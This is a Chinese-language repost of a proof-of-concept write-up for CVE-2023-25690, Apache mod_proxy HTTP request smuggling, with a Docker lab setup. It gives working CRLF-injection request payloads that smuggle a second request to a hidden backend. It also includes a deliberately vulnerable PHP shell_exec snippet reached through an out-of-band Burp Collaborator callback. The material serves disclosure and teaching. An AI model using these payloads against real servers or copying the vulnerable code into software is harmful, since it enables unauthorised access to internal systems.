CVE 2023 25690概念验证 - Apache HTTP服务器版本2.4.0 - 2.4.55上mod_proxy存在易受攻击的配置,导致HTTP请求走私漏洞。
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/dhmosfunk/CVE-2023-25690-POC
CVE 2023 25690 - 概念验证
发布日期:2023年3月7日
| 基础分数 | 机密性影响 | 完整性影响 | 可用性影响 |
|---|---|---|---|
| 9.8 | 高 | 高 | 高 |
目录
咨询描述
Apache HTTP服务器版本2.4.0至2.4.55上的某些mod_proxy配置存在HTTP请求走私攻击的漏洞。当启用了mod_proxy并且结合某种形式的RewriteRule或ProxyPassMatch时,配置会受到影响,其中非特定模式匹配用户提供的请求目标(URL)数据的某部分,然后使用变量替换将其重新插入到代理的请求目标中。例如,类似以下的配置:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
请求拆分/走私可能会导致绕过代理服务器的访问控制,将非预期的URL代理到现有的源服务器,并造成缓存污染。建议用户至少更新到Apache HTTP服务器的2.4.56版本。
https://ubuntu.com/security/CVE-2023-25690 https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
易受攻击的Apache配置解析
在Apache配置中包含RewriteEngine on可以启用URL重写引擎。URL重写是一种技术,允许Web服务器在提供内容之前,动态地将客户端浏览器请求的URL更改为不同的URL。 例如,假设在线电子商店的URL结构如下:
https://example-shop.com/categories/1
假设在Apache配置文件中有以下的RewriteRule指令:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
当用户请求URLhttps://example-shop.com/categories/1时,RewriteRule将匹配URL并使用正则表达式^/categories/(.*)捕获值1。然后,该规则通过将捕获的值作为查询参数id附加到重写后的URL,将URL重写为http://example-shop.com:8080/categories?id=1。
由于规则中存在[P]标记,Apache将将重写后的URL视为代理请求,并将其转发到目标服务器http://example-shop.com:8080/categories,查询参数id设置为1。目标服务器将处理该请求并将响应发送回Apache,后者将其转发给客户端。
总结一下,带有[P]标记的RewriteRule指令用于重写URL并将其代理到不同的服务器。在这种情况下,规则匹配以/categories/开头的URL,并将捕获的值作为查询参数id附加到重写后的URL。然后,Apache将请求转发到目标服务器,目标服务器处理请求并返回响应。
最后,关于ProxyPassReverse /categories/ http://example-shop.com:8080/,这行代码简单地将后端服务器的域名和路径替换为代理服务器的域名和路径,以便客户端能够正确地跟踪链接并从代理的后端服务器访问内容,就像直接从代理服务器提供的内容一样。
数据流

实验环境设置
为了模拟Apache中的漏洞,我们将使用httpd版本2.4.55。此外,整个实验将通过使用Docker进行容器化,以便更轻松地进行设置、配置和复现。
实验的文件结构如下:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
最终的httpd.conf配置如下:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
使用docker-compose.exe up --build命令启动实验。
- mod_rewrite 文档:https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
- mod_proxy 文档:https://httpd.apache.org/docs/2.4/mod/mod_proxy.html
通过HTTP请求拆分导致后端服务的HTTP请求走私
在本节中,我将解释CRLF注入如何导致内部HTTP请求走私,使攻击者能够未经授权地访问本应无法访问的内部资源。
识别CRLF注入
根据咨询描述,httpd <=2.4.55易受HTTP响应拆分(也称为CRLF注入)漏洞影响。CRLF注入发生在以下情况下:
- 数据通过不受信任的来源(通常是HTTP请求)进入Web应用程序。
- 未经验证的数据包含在发送给Web用户的HTTP响应头中。
在我们的案例中,可以通过在URL中添加以下CRLF前缀来确认这一点:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
通过将上述前缀附加到URL,最终的请求如下所示:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
服务器在处理数据后将返回一个200的响应代码,表示易受CRLF注入漏洞。
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
有关HTTP请求拆分的更多信息,请参阅:https://owasp.org/www-community/attacks/HTTP_Response_Splitting
通过头部注入进行内部HTTP请求走私
使用头部注入,我们将执行内部HTTP请求走私。首先,我们使用以下前缀:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
然后发送以下请求:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
应用重写规则后,请求将被转换为以下格式:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
其中,编码的URL被解码为有效的HTTP语法,导致后端将解码的数据视为第二个请求。

假设我们的内部应用程序具有以下秘密代码:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
使用以下前缀,我们可以将第二个请求发送到隐藏功能:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
shellCopy codeGET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
并在Burp Collaborator上接收请求:

修补程序:
- https://github.com/apache/httpd/commit/8789f6bb926fa4c33b4231a8444340515c82bdff
- https://github.com/apache/httpd/commit/8b93a6512f14f5f68887ddfe677e91233ed79fb0
影响
此漏洞的影响是允许攻击者针对并访问应由反向代理隐藏的内部应用程序,可能导致未经授权的访问、数据泄露或进一步的利用。